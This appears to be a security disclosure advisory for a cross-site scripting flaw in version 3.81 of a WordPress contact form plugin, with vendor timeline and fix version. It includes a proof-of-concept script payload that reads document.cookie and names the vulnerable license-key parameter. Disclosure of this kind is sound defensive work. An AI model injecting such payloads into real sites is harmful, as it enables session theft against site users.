Plugin Details Plugin Name : Contact Form Effected Version : 3.81 (and most probably lower version's if any) Vulnerability : A3-Cross-Site Scripting (XSS) Identified by : Madhu Akula Technical Details Minimum Level of Access Required : Unauthenticated PoC - (Proof of Concept) : http://localhost/wp-admin/admin.php?page=contactform.php&action=go_pro In the serial key place the below payload "><script>alert(document.cookie)</script> Vulnerable Parameter : bws_license_key Video Demonstration : http://www.youtube.com/watch?v=4yHZvPs8FTE Type of XSS : Reflected / Stored Fixed in : 3.8.2 http://wordpress.org/plugins/contact-form-plugin/changelog/ Disclosure Timeline Vendor Contacted : 2014-08-04 Plugin Status : Updated on 2014-08-07 Public Disclosure : October 3, 2015 CVE Number : Not assigned yet Plugin Description : The Contact Form plugin allows you to implement a feedback form to a web-page or a post in no time. It is an extremely easy form, that doesn?t require any additional settings, though there are some available options. All you need is just to activate the plugin and insert the shortcode [bestwebsoft_contact_form] into the text. There is also a premium version of the plugin with more useful features available.